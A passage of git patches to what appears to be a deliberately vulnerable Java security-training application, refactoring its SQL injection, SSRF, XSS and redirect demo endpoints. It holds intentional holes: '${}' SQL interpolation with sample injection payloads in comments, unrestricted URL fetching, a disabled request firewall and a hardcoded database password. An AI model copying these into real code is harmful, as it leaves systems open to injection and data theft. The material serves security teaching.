+ logger.error("Sorry,can`t find the Driver!");
}catch (SQLException e) {
- e.printStackTrace();
+ logger.error(e.toString());
}catch (Exception e) {
- e.printStackTrace();
-
- }finally{
- System.out.println("-----------------");
- System.out.println("Connect database done.");
+ logger.error(e.toString());
}
return result;
}
@@ -103,62 +100,60 @@ public String jdbc_sqli_sec(@RequestParam("username") String username){
if(!con.isClosed())
System.out.println("Connecting to Database successfully.");
-
// fix code
String sql = "select * from users where username = ?";
PreparedStatement st = con.prepareStatement(sql);
st.setString(1, username);
- System.out.println(st.toString()); // sql after prepare statement
+ logger.info(st.toString()); // sql after prepare statement
ResultSet rs = st.executeQuery();
- System.out.println("-----------------");
-
while(rs.next()){
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
result += res_name + ": " + res_pwd + "\n";
- System.out.println(res_name + ": " + res_pwd);
-
+ logger.info(res_name + ": " + res_pwd);
}
+
rs.close();
con.close();
-
}catch (ClassNotFoundException e) {
- System.out.println("Sorry,can`t find the Driver!");
+ logger.error("Sorry,can`t find the Driver!");
e.printStackTrace();
}catch (SQLException e) {
- e.printStackTrace();
+ logger.error(e.toString());
}catch (Exception e) {
- e.printStackTrace();
-
- }finally{
- System.out.println("-----------------");
- System.out.println("Connect database done.");
+ logger.error(e.toString());
}
return result;
}
/**
- * vul code
- * http://localhost:8080/sqli/mybatis/vul01?username=joychou' or '1'='1
+ * vuln code
+ * http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1
*
* @param username username
*/
- @GetMapping("/mybatis/vul01")
- public List mybatis_vul1(@RequestParam("username") String username) {
- return userMapper.findByUserNameVul(username);
+ @GetMapping("/mybatis/vuln01")
+ public List mybatisVuln01(@RequestParam("username") String username) {
+ return userMapper.findByUserNameVuln01(username);
}
/**
* vul code
- * http://localhost:8080/sqli/mybatis/vul02?username=joychou' or '1'='1' %23
+ * http://localhost:8080/sqli/mybatis/vuln02?username=joychou' or '1'='1' %23
*
* @param username username
*/
- @GetMapping("/mybatis/vul02")
- public List mybatis_vul2(@RequestParam("username") String username) {
- return userMapper.findByUserNameVul2(username);
+ @GetMapping("/mybatis/vuln02")
+ public List mybatisVuln02(@RequestParam("username") String username) {
+ return userMapper.findByUserNameVuln02(username);
+ }
+
+ // http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=1 desc%23
+ @GetMapping("/mybatis/orderby/vuln03")
+ public List mybatisVuln03(@RequestParam("sort") String sort) {
+ return userMapper.findByUserNameVuln03(sort);
}
@@ -169,7 +164,7 @@ public List mybatis_vul2(@RequestParam("username") String username) {
* @param username username
*/
@GetMapping("/mybatis/sec01")
- public User mybatis_sec1(@RequestParam("username") String username) {
+ public User mybatisSec01(@RequestParam("username") String username) {
return userMapper.findByUserName(username);
}
@@ -180,7 +175,7 @@ public User mybatis_sec1(@RequestParam("username") String username) {
* @param id id
*/
@GetMapping("/mybatis/sec02")
- public User mybatis_sec2(@RequestParam("id") Integer id) {
+ public User mybatisSec02(@RequestParam("id") Integer id) {
return userMapper.findById(id);
}
@@ -190,9 +185,14 @@ public User mybatis_sec2(@RequestParam("id") Integer id) {
* http://localhost:8080/sqli/mybatis/sec03
**/
@GetMapping("/mybatis/sec03")
- public User mybatis_sec3() {
+ public User mybatisSec03() {
return userMapper.OrderByUsername();
}
+ @GetMapping("/mybatis/orderby/sec04")
+ public List mybatisOrderBySec04(@RequestParam("sort") String sort) {
+ return userMapper.findByUserNameVuln03(SecurityUtil.sqlFilter(sort));
+ }
+
}
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index 657f25cf..901f8b70 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -195,9 +195,10 @@ public static String ssrf_HttpClient(@RequestParam String url) {
/**
- * Safe code.
- * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com
+ * https://mvnrepository.com/artifact/commons-httpclient/commons-httpclient
+ * UserAgent: Jakarta Commons-HttpClient/3.1 (2007.08 publish)
*
+ * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com
*/
@RequestMapping("/commonsHttpClient/sec")
@ResponseBody
diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java
index 159351cb..f4638524 100644
--- a/src/main/java/org/joychou/controller/URLWhiteList.java
+++ b/src/main/java/org/joychou/controller/URLWhiteList.java
@@ -212,4 +212,5 @@ public String sec_array_indexOf(@RequestParam("url") String url) throws Exceptio
}
return "Bad url.";
}
+
}
diff --git a/src/main/java/org/joychou/dao/User.java b/src/main/java/org/joychou/dao/User.java
index b9bc8341..1336f571 100644
--- a/src/main/java/org/joychou/dao/User.java
+++ b/src/main/java/org/joychou/dao/User.java
@@ -15,7 +15,6 @@ public void setId(Integer id) {
this.id = id;
}
-
public String getUsername() {
return username;
}
@@ -23,7 +22,6 @@ public void setUsername(String username) {
this.username = username;
}
-
public String getPassword() {
return password;
}
diff --git a/src/main/java/org/joychou/mapper/UserMapper.java b/src/main/java/org/joychou/mapper/UserMapper.java
index 962f465d..b88fb561 100644
--- a/src/main/java/org/joychou/mapper/UserMapper.java
+++ b/src/main/java/org/joychou/mapper/UserMapper.java
@@ -18,9 +18,10 @@ public interface UserMapper {
User findByUserName(@Param("username") String username);
@Select("select * from users where username = '${username}'")
- List findByUserNameVul(@Param("username") String username);
+ List findByUserNameVuln01(@Param("username") String username);
- List findByUserNameVul2(String username);
+ List findByUserNameVuln02(String username);
+ List findByUserNameVuln03(@Param("order") String order);
User findById(Integer id);
diff --git a/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java b/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java
new file mode 100644
index 00000000..d7f12627
--- /dev/null
+++ b/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java
@@ -0,0 +1,27 @@
+package org.joychou.security;
+
+import org.springframework.security.web.firewall.FirewalledRequest;
+import org.springframework.security.web.firewall.HttpFirewall;
+import org.springframework.security.web.firewall.RequestRejectedException;
+import org.springframework.stereotype.Component;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+@Component
+public class DisableSpringSecurityFirewall implements HttpFirewall {
+
+ @Override
+ public FirewalledRequest getFirewalledRequest(HttpServletRequest request) throws RequestRejectedException {
+ return new FirewalledRequest(request) {
+ @Override
+ public void reset() {
+ }
+ };
+ }
+
+ @Override
+ public HttpServletResponse getFirewalledResponse(HttpServletResponse response) {
+ return response;
+ }
+}
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index 809ac544..812c905e 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -159,4 +159,50 @@ public static String cmdFilter(String input) {
return input;
}
+
+ /**
+ * 过滤mybatis中order by不能用#的情况。
+ * 严格限制用户输入只能包含a-zA-Z0-9_-.字符。
+ *
+ * @param sql sql
+ * @return 安全sql,否则返回null
+ */
+ public static String sqlFilter(String sql) {
+ if (!FILTER_PATTERN.matcher(sql).matches()) {
+ return null;
+ }
+ return sql;
+ }
+
+ /**
+ * 将非0-9a-zA-Z/-.的字符替换为空
+ *
+ * @param str 字符串
+ * @return 被过滤的字符串
+ */
+ public static String replaceSpecialStr(String str) {
+ StringBuilder sb = new StringBuilder();
+ str = str.toLowerCase();
+ for(int i = 0; i < str.length(); i++) {
+ char ch = str.charAt(i);
+ // 如果是0-9
+ if (ch >= 48 && ch <= 57 ){
+ sb.append(ch);
+ }
+ // 如果是a-z
+ else if(ch >= 97 && ch <= 122) {
+ sb.append(ch);
+ }
+ else if(ch == '/' || ch == '.' || ch == '-'){
+ sb.append(ch);
+ }
+ }
+
+ return sb.toString();
+ }
+
+ public static void main(String[] args) {
+ System.out.print(replaceSpecialStr("text/ html&(&(asdf"));
+ }
+
}
\ No newline at end of file
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
index 9135b5db..c6b2a184 100644
--- a/src/main/resources/application.properties
+++ b/src/main/resources/application.properties
@@ -4,6 +4,8 @@ spring.datasource.username=root
spring.datasource.password=woshishujukumima
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
mybatis.mapper-locations=classpath:mapper/*.xml
+# mybatis SQL log
+logging.level.org.joychou.mapper=debug
# Spring Boot Actuator Vulnerable Config
management.security.enabled=false
diff --git a/src/main/resources/mapper/UserMapper.xml b/src/main/resources/mapper/UserMapper.xml
index df4344e6..e6894071 100644
--- a/src/main/resources/mapper/UserMapper.xml
+++ b/src/main/resources/mapper/UserMapper.xml
@@ -13,10 +13,17 @@
-
-
-
-
\ No newline at end of file
From db6bff2fc2d87b53ab1821cd88bd807e19aeba25 Mon Sep 17 00:00:00 2001
From: JoyChou
Date: Thu, 26 Mar 2020 10:28:11 +0800
Subject: [PATCH 13/41] Bug fix.The method of fix ssrf can cause dos.
---
.../java/org/joychou/controller/SSRF.java | 50 +++++++++----------
src/main/java/org/joychou/controller/XSS.java | 20 ++------
.../org/joychou/security/SSRFChecker.java | 17 +++++--
.../org/joychou/security/SecurityUtil.java | 9 ++--
.../joychou/security/WebSecurityConfig.java | 7 +--
5 files changed, 47 insertions(+), 56 deletions(-)
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index 901f8b70..ec6dfc54 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -23,16 +23,15 @@
import javax.imageio.ImageIO;
-import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.net.*;
/**
- * @author JoyChou (joychou@joychou.org)
- * @date 2017.12.28
- * @desc Java ssrf vuls code.
+ * Java SSRF vuln or security code.
+ *
+ * @author JoyChou @2017-12-28
*/
@RestController
@@ -42,15 +41,14 @@ public class SSRF {
private static Logger logger = LoggerFactory.getLogger(SSRF.class);
@RequestMapping("/urlConnection")
- public static String ssrf_URLConnection(HttpServletRequest request)
+ public static String ssrf_URLConnection(@RequestParam String url)
{
try {
- String url = request.getParameter("url");
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
String inputLine;
- StringBuffer html = new StringBuffer();
+ StringBuilder html = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
@@ -58,7 +56,7 @@ public static String ssrf_URLConnection(HttpServletRequest request)
in.close();
return html.toString();
}catch(Exception e) {
- e.printStackTrace();
+ logger.error(e.toString());
return "fail";
}
}
@@ -66,16 +64,15 @@ public static String ssrf_URLConnection(HttpServletRequest request)
@RequestMapping("/HttpURLConnection")
@ResponseBody
- public static String ssrf_httpURLConnection(HttpServletRequest request)
+ public static String ssrf_httpURLConnection(@RequestParam String url)
{
try {
- String url = request.getParameter("url");
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request
String inputLine;
- StringBuffer html = new StringBuffer();
+ StringBuilder html = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
@@ -83,7 +80,7 @@ public static String ssrf_httpURLConnection(HttpServletRequest request)
in.close();
return html.toString();
}catch(Exception e) {
- e.printStackTrace();
+ logger.error(e.toString());
return "fail";
}
}
@@ -91,13 +88,12 @@ public static String ssrf_httpURLConnection(HttpServletRequest request)
@RequestMapping("/Request")
@ResponseBody
- public static String ssrf_Request(HttpServletRequest request)
+ public static String ssrf_Request(@RequestParam String url)
{
try {
- String url = request.getParameter("url");
return Request.Get(url).execute().returnContent().toString();
}catch(Exception e) {
- e.printStackTrace();
+ logger.error(e.toString());
return "fail";
}
}
@@ -113,10 +109,9 @@ public static String ssrf_Request(HttpServletRequest request)
*/
@RequestMapping("/openStream")
@ResponseBody
- public static void ssrf_openStream (HttpServletRequest request, HttpServletResponse response) throws IOException {
+ public static void ssrf_openStream (@RequestParam String url, HttpServletResponse response) throws IOException {
InputStream inputStream = null;
OutputStream outputStream = null;
- String url = request.getParameter("url");
try {
String downLoadImgFileName = Files.getNameWithoutExtension(url) + "." + Files.getFileExtension(url);
// download
@@ -132,7 +127,7 @@ public static void ssrf_openStream (HttpServletRequest request, HttpServletRespo
}
}catch (Exception e) {
- e.printStackTrace();
+ logger.error(e.toString());
}finally {
if (inputStream != null) {
inputStream.close();
@@ -147,20 +142,19 @@ public static void ssrf_openStream (HttpServletRequest request, HttpServletRespo
@RequestMapping("/ImageIO")
@ResponseBody
- public static void ssrf_ImageIO(HttpServletRequest request) {
- String url = request.getParameter("url");
+ public static void ssrf_ImageIO(@RequestParam String url) {
try {
URL u = new URL(url);
ImageIO.read(u); // send request
} catch (Exception e) {
+ logger.error(e.toString());
}
}
@RequestMapping("/okhttp")
@ResponseBody
- public static void ssrf_okhttp(HttpServletRequest request) throws IOException {
- String url = request.getParameter("url");
+ public static void ssrf_okhttp(@RequestParam String url) throws IOException {
OkHttpClient client = new OkHttpClient();
com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
client.newCall(ok_http).execute();
@@ -180,8 +174,8 @@ public static String ssrf_HttpClient(@RequestParam String url) {
try {
HttpResponse httpResponse = client.execute(httpGet); // send request
BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
- StringBuffer result = new StringBuffer();
- String line = "";
+ StringBuilder result = new StringBuilder();
+ String line = null;
while ((line = rd.readLine()) != null) {
result.append(line);
}
@@ -236,8 +230,8 @@ public static String commonsHttpClient(@RequestParam String url) {
/**
* jsoup是一款Java的HTML解析器,可直接解析某个URL地址、HTML文本内容。
- * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com
*
+ * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com
*/
@RequestMapping("/Jsoup")
@ResponseBody
@@ -251,9 +245,11 @@ public static String Jsoup(@RequestParam String url) {
.cookie("name", "joychou") // request请求带的cookie
.followRedirects(false)
.execute().parse();
+ logger.info(doc.html());
} catch (MalformedURLException e) {
return "exception: " + e.toString();
- } catch (Exception e) {
+ } catch (IOException e) {
+ logger.error(e.toString());
return "exception: " + e.toString();
}
@@ -271,7 +267,7 @@ public static String Jsoup(@RequestParam String url) {
public static String IOUtils(@RequestParam String url) {
try {
// IOUtils.toByteArray内部用URLConnection进行了封装
- byte[] b = IOUtils.toByteArray(URI.create(url));
+ IOUtils.toByteArray(URI.create(url));
} catch (Exception e) {
return "exception: " + e.toString();
}
diff --git a/src/main/java/org/joychou/controller/XSS.java b/src/main/java/org/joychou/controller/XSS.java
index fcd5d7f5..68e89c0c 100644
--- a/src/main/java/org/joychou/controller/XSS.java
+++ b/src/main/java/org/joychou/controller/XSS.java
@@ -1,35 +1,24 @@
package org.joychou.controller;
import org.apache.commons.lang.StringUtils;
-import org.joychou.dao.User;
-import org.joychou.mapper.UserMapper;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.CookieValue;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
-import javax.annotation.Resource;
import javax.servlet.http.Cookie;
-import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
-import java.sql.Connection;
-import java.sql.DriverManager;
-import java.sql.Statement;
+
/**
- * @author JoyChou (joychou@joychou.org)
- * @date 2018.01.02
- * @desc XSS vuls code
+ * @author JoyChou @2018-01-02
*/
-
@Controller
@RequestMapping("/xss")
public class XSS {
/**
- * Vul Code.
+ * Vuln Code.
* ReflectXSS
* http://localhost:8080/xss/reflect?xss=
*
@@ -71,6 +60,7 @@ public String show(@CookieValue("xss") String xss)
{
return xss;
}
+
/**
* safe Code.
* http://localhost:8080/xss/safe
@@ -82,7 +72,7 @@ public static String safe(String xss){
return encode(xss);
}
- public static String encode(String origin) {
+ private static String encode(String origin) {
origin = StringUtils.replace(origin, "&", "&");
origin = StringUtils.replace(origin, "<", "<");
origin = StringUtils.replace(origin, ">", ">");
diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/SSRFChecker.java
index 08d9053a..bb959a23 100644
--- a/src/main/java/org/joychou/security/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/SSRFChecker.java
@@ -8,21 +8,24 @@
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
-public class SSRFChecker {
+class SSRFChecker {
- private static int connectTime = 5*1000; // 设置连接超时时间5s
private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class);
+
/**
* 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。
* url只允许https或者http,并且设置默认连接超时时间。
* 该修复方案会主动请求重定向后的链接。最好用Hook方式获取到所有url后,进行判断,代码待续…
*
* @param url check的url
+ * @param checkTimes 设置重定向检测的最大次数,建议设置为10次
* @return 安全返回true,危险返回false
*/
- public static Boolean checkSSRF(String url) {
+ static Boolean checkSSRF(String url, int checkTimes) {
HttpURLConnection connection;
+ int connectTime = 5*1000; // 设置连接超时时间5s
+ int i = 1;
String finalUrl = url;
try {
do {
@@ -45,7 +48,11 @@ public static Boolean checkSSRF(String url) {
if (null == redirectedUrl)
break;
finalUrl = redirectedUrl;
- // System.out.println("redirected url: " + finalUrl);
+ i += 1; // 重定向次数加1
+ logger.info("redirected url: " + finalUrl);
+ if(i == checkTimes) {
+ return false;
+ }
} else
break;
} while (connection.getResponseCode() != HttpURLConnection.HTTP_OK);
@@ -62,7 +69,7 @@ public static Boolean checkSSRF(String url) {
*
* @return 如果是内网IP,返回true;非内网IP,返回false。
*/
- public static Boolean isInnerIPByUrl(String url) {
+ static Boolean isInnerIPByUrl(String url) {
String host = url2host(url);
if (host.equals("")) {
return true; // 异常URL当成内网IP等非法URL处理
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index 812c905e..bb154dc4 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -91,11 +91,8 @@ public static String checkUrlByGuava(String url, String[] urlwhitelist){
* @return 安全返回true,危险返回false
*/
public static Boolean checkSSRF(String url) {
- if (SSRFChecker.checkSSRF(url)) {
- return true;
- } else {
- return false;
- }
+ int checkTimes = 10;
+ return SSRFChecker.checkSSRF(url, checkTimes);
}
@@ -143,7 +140,7 @@ public static String pathFilter(String filepath) {
}
}
- if (temp.indexOf("..") != -1 || temp.charAt(0) == '/') {
+ if (temp.contains("..") || temp.charAt(0) == '/') {
return null;
}
diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java
index 27a332c3..a9787aac 100644
--- a/src/main/java/org/joychou/security/WebSecurityConfig.java
+++ b/src/main/java/org/joychou/security/WebSecurityConfig.java
@@ -43,7 +43,7 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
public boolean matches(HttpServletRequest request) {
// 配置需要CSRF校验的请求方式,
- HashSet allowedMethods = new HashSet(Arrays.asList(csrfMethod));
+ HashSet allowedMethods = new HashSet<>(Arrays.asList(csrfMethod));
// return false表示不校验csrf
if (!csrfEnabled) {
return false;
@@ -74,7 +74,8 @@ protected void configure(HttpSecurity http) throws Exception {
.successHandler(new LoginSuccessHandler())
.failureHandler(new LoginFailureHandler()).and()
.logout().logoutUrl("/logout").permitAll().and()
- .rememberMe(); // tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会话将过期。为了解决这一问题,引入rememberMe功能。
+ // tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会话将过期。为了解决这一问题,引入rememberMe功能。
+ .rememberMe();
}
/**
@@ -84,7 +85,7 @@ protected void configure(HttpSecurity http) throws Exception {
CorsConfigurationSource corsConfigurationSource()
{
// Set cors origin white list
- ArrayList allowOrigins = new ArrayList();
+ ArrayList allowOrigins = new ArrayList<>();
allowOrigins.add("joychou.org");
allowOrigins.add("https://test.joychou.me"); // 区分http和https,并且默认不会拦截同域请求。
From fc1be1bbbbcdfefe61783a47330c99c3366d46ab Mon Sep 17 00:00:00 2001
From: JoyChou
Date: Fri, 27 Mar 2020 22:28:31 +0800
Subject: [PATCH 14/41] Add bean to parse safedomain
---
src/main/java/org/joychou/Application.java | 1 +
.../org/joychou/config/CustomCorsConfig.java | 6 +-
.../org/joychou/config/SafeDomainConfig.java | 28 ++++++++
.../org/joychou/config/SafeDomainParser.java | 57 +++++++++++++++
.../java/org/joychou/config/WebConfig.java | 10 +++
.../java/org/joychou/controller/Cors.java | 4 +-
.../org/joychou/controller/URLRedirect.java | 10 +--
.../org/joychou/controller/jsonp/JSONP.java | 8 +--
.../java/org/joychou/filter/JsonpFilter.java | 5 +-
.../java/org/joychou/filter/OriginFilter.java | 4 +-
.../java/org/joychou/filter/ReferFilter.java | 2 +-
.../joychou/security/CustomCorsProcessor.java | 17 ++---
.../org/joychou/security/SecurityUtil.java | 69 ++++++-------------
src/main/resources/url/safe_domain.xml | 7 ++
14 files changed, 145 insertions(+), 83 deletions(-)
create mode 100644 src/main/java/org/joychou/config/SafeDomainConfig.java
create mode 100644 src/main/java/org/joychou/config/SafeDomainParser.java
create mode 100644 src/main/resources/url/safe_domain.xml
diff --git a/src/main/java/org/joychou/Application.java b/src/main/java/org/joychou/Application.java
index 41169b9a..0f04b2c8 100644
--- a/src/main/java/org/joychou/Application.java
+++ b/src/main/java/org/joychou/Application.java
@@ -8,6 +8,7 @@
import org.springframework.cloud.netflix.eureka.EnableEurekaClient;
+
@ServletComponentScan // do filter
@SpringBootApplication
// @EnableEurekaClient // 测试Eureka请打开注释,防止控制台一直有warning
diff --git a/src/main/java/org/joychou/config/CustomCorsConfig.java b/src/main/java/org/joychou/config/CustomCorsConfig.java
index d18a285e..8b80e664 100644
--- a/src/main/java/org/joychou/config/CustomCorsConfig.java
+++ b/src/main/java/org/joychou/config/CustomCorsConfig.java
@@ -20,10 +20,10 @@ public WebMvcConfigurer corsConfigurer() {
return new WebMvcConfigurerAdapter() {
@Override
public void addCorsMappings(CorsRegistry registry) {
- // 支持一级域名,因为重写了checkOrigin
- String[] allowOrigins = {"joychou.org", "http://test.joychou.me"};
+ // 为了支持一级域名,重写了checkOrigin
+ //String[] allowOrigins = {"joychou.org", "http://test.joychou.me"};
registry.addMapping("/cors/sec/webMvcConfigurer") // /**表示所有路由path
- .allowedOrigins(allowOrigins)
+ //.allowedOrigins(allowOrigins)
.allowedMethods("GET", "POST")
.allowCredentials(true);
}
diff --git a/src/main/java/org/joychou/config/SafeDomainConfig.java b/src/main/java/org/joychou/config/SafeDomainConfig.java
new file mode 100644
index 00000000..d0fb91a7
--- /dev/null
+++ b/src/main/java/org/joychou/config/SafeDomainConfig.java
@@ -0,0 +1,28 @@
+package org.joychou.config;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+
+
+/**
+ * 为了不要每次调用都解析safedomain的xml,所以将解析动作放在bean里。
+ */
+@Configuration
+public class SafeDomainConfig {
+
+ private static final Logger LOGGER = LoggerFactory.getLogger(SafeDomainConfig.class);
+
+ @Bean
+ public SafeDomainParser safeDomainParser() {
+ try {
+ LOGGER.info("SafeDomainParser bean inject successfully!!!");
+ return new SafeDomainParser();
+ } catch (Exception e) {
+ LOGGER.error("SafeDomainParser is null " + e.getMessage(), e);
+ }
+ return null;
+ }
+
+}
diff --git a/src/main/java/org/joychou/config/SafeDomainParser.java b/src/main/java/org/joychou/config/SafeDomainParser.java
new file mode 100644
index 00000000..8c21e598
--- /dev/null
+++ b/src/main/java/org/joychou/config/SafeDomainParser.java
@@ -0,0 +1,57 @@
+package org.joychou.config;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.core.io.ClassPathResource;
+import org.w3c.dom.Document;
+import org.w3c.dom.Node;
+import org.w3c.dom.NodeList;
+
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+import java.io.File;
+import java.util.ArrayList;
+
+public class SafeDomainParser {
+
+ private static Logger logger= LoggerFactory.getLogger(SafeDomainParser.class);
+
+ public SafeDomainParser(){
+
+ String safeTag = "safedomain";
+ String domainSafeTag = "domain";
+ String safeDomainClassPath = "url" + File.separator + "safe_domain.xml";
+ ArrayList safeDomains = new ArrayList<>();
+
+ try {
+ // 读取resources目录下的文件
+ ClassPathResource resource = new ClassPathResource(safeDomainClassPath);
+ File file = resource.getFile();
+
+ DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+ DocumentBuilder db = dbf.newDocumentBuilder();
+ Document doc = db.parse(file); // parse xml
+
+ NodeList rootNode = doc.getElementsByTagName(safeTag);
+ Node domainsNode = rootNode.item(0);
+ NodeList child = domainsNode.getChildNodes();
+
+ for (int i = 0; i < child.getLength(); i++){
+ Node node = child.item(i);
+ if (node.getNodeName().equals(domainSafeTag)) {
+ safeDomains.add(node.getTextContent());
+ }
+ }
+
+ }catch (Exception e){
+ logger.error(e.toString());
+ }
+
+ WebConfig wc = new WebConfig();
+ wc.setSafeDomains(safeDomains);
+ }
+}
+
+
+
+
diff --git a/src/main/java/org/joychou/config/WebConfig.java b/src/main/java/org/joychou/config/WebConfig.java
index 96d7f0f5..7eb3290a 100644
--- a/src/main/java/org/joychou/config/WebConfig.java
+++ b/src/main/java/org/joychou/config/WebConfig.java
@@ -3,6 +3,8 @@
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Component;
+import java.util.ArrayList;
+
/**
* Solve can't get value in filter by @Value when not using embed tomcat.
@@ -19,6 +21,7 @@ public class WebConfig {
private static String[] referUris;
private static Boolean referSecEnabled = false;
private static String businessCallback;
+ private static ArrayList safeDomains= new ArrayList<>();
/**
* application.properties里object自动转jsonp的referer校验开关
@@ -91,4 +94,11 @@ public static String getBusinessCallback(){
return businessCallback;
}
+
+ public void setSafeDomains(ArrayList safeDomains){
+ WebConfig.safeDomains = safeDomains;
+ }
+ public static ArrayList getSafeDomains(){
+ return safeDomains;
+ }
}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/Cors.java b/src/main/java/org/joychou/controller/Cors.java
index adb069a9..3537ecf8 100644
--- a/src/main/java/org/joychou/controller/Cors.java
+++ b/src/main/java/org/joychou/controller/Cors.java
@@ -20,8 +20,6 @@
public class Cors {
private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
- private static String[] urlwhitelist = {"joychou.org", "joychou.me"};
-
@RequestMapping("/vuln/origin")
public static String vuls1(HttpServletRequest request, HttpServletResponse response) {
@@ -108,7 +106,7 @@ public String seccode(HttpServletRequest request, HttpServletResponse response)
// 如果origin不为空并且origin不在白名单内,认定为不安全。
// 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。
- if ( origin != null && SecurityUtil.checkURLbyEndsWith(origin, urlwhitelist) == null ) {
+ if ( origin != null && SecurityUtil.checkURL(origin) == null ) {
return "Origin is not safe.";
}
response.setHeader("Access-Control-Allow-Origin", origin);
diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java
index dfd220f2..d2b3b484 100644
--- a/src/main/java/org/joychou/controller/URLRedirect.java
+++ b/src/main/java/org/joychou/controller/URLRedirect.java
@@ -75,14 +75,14 @@ public static void forward(HttpServletRequest request, HttpServletResponse respo
/**
* Safe code of sendRedirect.
- * http://localhost:8080/urlRedirect/sendRedirect_seccode?url=http://www.baidu.com
+ * http://localhost:8080/urlRedirect/sendRedirect/sec?url=http://www.baidu.com
*/
- @RequestMapping("/sendRedirect_seccode")
+ @RequestMapping("/sendRedirect/sec")
@ResponseBody
- public static void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response) throws IOException{
+ public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response)
+ throws IOException{
String url = request.getParameter("url");
- String urlwhitelist[] = {"joychou.org", "joychou.com"};
- if (SecurityUtil.checkURLbyEndsWith(url, urlwhitelist) == null) {
+ if (SecurityUtil.checkURL(url) == null) {
// Redirect to error page.
response.sendRedirect("https://test.joychou.org/error3.html");
return;
diff --git a/src/main/java/org/joychou/controller/jsonp/JSONP.java b/src/main/java/org/joychou/controller/jsonp/JSONP.java
index da2474fa..e2dfc8eb 100644
--- a/src/main/java/org/joychou/controller/jsonp/JSONP.java
+++ b/src/main/java/org/joychou/controller/jsonp/JSONP.java
@@ -24,13 +24,11 @@
* https://github.com/JoyChou93/java-sec-code/wiki/JSONP
*/
-
@RestController
@RequestMapping("/jsonp")
public class JSONP {
- private static String[] urlwhitelist = {"joychou.com", "joychou.org"};
- private static String callback = WebConfig.getBusinessCallback();
+ private String callback = WebConfig.getBusinessCallback();
// get current login username
public static String getUserInfo2JsonStr(HttpServletRequest request) {
@@ -65,7 +63,7 @@ public String referer(HttpServletRequest request) {
public String emptyReferer(HttpServletRequest request) {
String referer = request.getHeader("referer");
- if (null != referer && SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist) == null) {
+ if (null != referer && SecurityUtil.checkURL(referer) == null) {
return "error";
}
String callback = request.getParameter(this.callback);
@@ -110,7 +108,7 @@ public ModelAndView mappingJackson2JsonView(HttpServletRequest req) {
public String safecode(HttpServletRequest request) {
String referer = request.getHeader("referer");
- if (SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist) == null) {
